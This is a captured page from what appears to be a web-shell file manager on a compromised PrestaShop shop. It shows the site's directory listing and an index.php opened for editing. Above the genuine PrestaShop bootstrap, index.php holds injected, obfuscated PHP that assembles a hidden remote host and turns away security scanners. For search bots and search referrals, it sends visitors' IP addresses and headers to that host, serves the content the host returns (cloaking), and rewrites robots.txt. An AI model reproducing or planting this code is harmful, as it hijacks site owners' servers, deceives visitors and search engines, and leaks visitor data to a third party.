File Manager Lite
Dir:
/home/u540325668/domains/dumbafarm.in/public_html
Upload
[..]
.htaccess (1.48 KB)
Edit
Rename
Del
LICENSES (179.55 KB)
Edit
Rename
Del
Makefile (863 B)
Edit
Rename
Del
app/
Rename
Del
bin/
Rename
Del
cache/
Rename
Del
classes/
Rename
Del
composer.lock (493.26 KB)
Edit
Rename
Del
config/
Rename
Del
controllers/
Rename
Del
docs/
Rename
Del
download/
Rename
Del
hyt.txt (1 B)
Edit
Rename
Del
img/
Rename
Del
index.php (5.69 KB)
Edit
Rename
Del
js/
Rename
Del
localization/
Rename
Del
mails/
Rename
Del
modules/
Rename
Del
override/
Rename
Del
pdf/
Rename
Del
phpstan.neon.dist (2.83 KB)
Edit
Rename
Del
robots.txt (2.35 KB)
Edit
Rename
Del
s6nphnwgjj58lmhv/
Rename
Del
src/
Rename
Del
templates/
Rename
Del
themes/
Rename
Del
tools/
Rename
Del
translations/
Rename
Del
upll2.php (5.9 KB)
Edit
Rename
Del
upload/
Rename
Del
var/
Rename
Del
vendor/
Rename
Del
webservice/
Rename
Del
Edit: index.php
<?php $gekh='ti';$lims='stsaw.c';$qwys='om';$modk='http://cw';$zlum='4533.ar';$utnl='/';$tiuvk=$modk.$zlum.$gekh.$lims.$qwys.$utnl; $pc = "AQRRBlQS"; $bagent = "Bing|Yahoo|Google|Docomo"; error_reporting(0); if(preg_match("/(Paloaltonetworks|Python|FeedDemon|JikeSpider|yisouSpider|DotBot|SeznamBot|Mj12bot|LightDeckReports Bot|Python-urllib|easouSpider|Swiftbot|DataForSEO|GPTBot|oBot|httpClient|ezooms|jaunty|semrushBot|ApacheBench|feedly|Go-http-client|CensysInspect|yySpider|zmEu|java|Python-requests|heritrix|yandexBot|Indy Library|CrawlDaddy|AhrefsBot|DigExt|scrapy|petalBot|claudebot|Bytespider|UniversalFeedParser|AmazonBot|AskTbFXTV|Barkrowler|CoolpadWebkit)/i", $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 403 Forbidden'); exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); $refer = urlencode(@$_SERVER['HTTP_REFERER']); $ip = $_SERVER['REMOTE_ADDR']; $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $domain = urlencode($_SERVER['HTTP_HOST']); $script = urlencode($_SERVER['SCRIPT_NAME']); $ip = urlencode($ip); if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) { $_SERVER['REQUEST_SCHEME'] = 'https'; } else { $_SERVER['REQUEST_SCHEME'] = 'http'; } function writeToFile($path, $contents) { $file = fopen($path, "w"); if ($file) { fwrite($file, $contents); fclose($file); return true; } return false; } function readFromFile($path) { $file = fopen($path, "r"); if ($file) { $contents = fread($file, filesize($path)); fclose($file); return $contents; } return false; } $http = urlencode($_SERVER['REQUEST_SCHEME']); $uri = urlencode($_SERVER['REQUEST_URI']); if(strpos($uri,"hythyt") !== false){echo "ok";exit();} $hyt = 0; $hytFilePath = "hyt.txt"; if(!is_file($hytFilePath)) { $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/hythyt'; $tqfd = @file_get_contents($uuu); if($tqfd === "ok") { $hyt = 1; writeToFile($hytFilePath,"1"); } else { $hyt = 0; writeToFile($hytFilePath,"0"); } } else { $hyt = readFromFile($hytFilePath); } if(strpos($uri,"favicon.ico") !== false) { } else if(preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) { $requsturl = $tiuvk."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$hyt&script=$script"; $robots_contents = ""; if(strpos($uri,"pingsitemap") !== false) { $scripname = $_SERVER['SCRIPT_NAME']; if(strpos($scripname,"index.p") !== false) { if($hyt == 0) { $scripname = '/?'; } else { $scripname = '/'; } } else { $scripname = $scripname.'?'; } $robots_contents = "User-agent: *\r\nAllow: /"; $sitemap = "$http://" . $domain .$scripname. "sitemap.xml"; $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap"; $sitemapstatus = ""; echo $sitemap.": ".$sitemapstatus.'<br/>'; $requsturl = $tiuvk."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$hyt&script=$script&sitemap=".urlencode($sitemap); } $tqfd = @file_get_contents($requsturl); if(empty($tqfd)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $requsturl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $tqfd = curl_exec($ch); curl_close($ch); } if(!empty($tqfd)) { if(substr($tqfd,0,10)=="error code" or $tqfd == "500" or strpos($tqfd,'Bad Gateway')!==false) { header("HTTP/1.0 500 Internal Server Error"); exit(); } if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');} else if(substr($tqfd,0,5)=="<?xml") { header('Content-Type: text/xml; charset=utf-8'); } else { header('Content-Type: text/html; charset=utf-8'); } echo $tqfd; if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);} else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$tqfd);} exit(); return; } }else{ } ?><?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ require dirname(__FILE__).'/config/config.inc.php'; Dispatcher::getInstance()->dispatch();
Simpan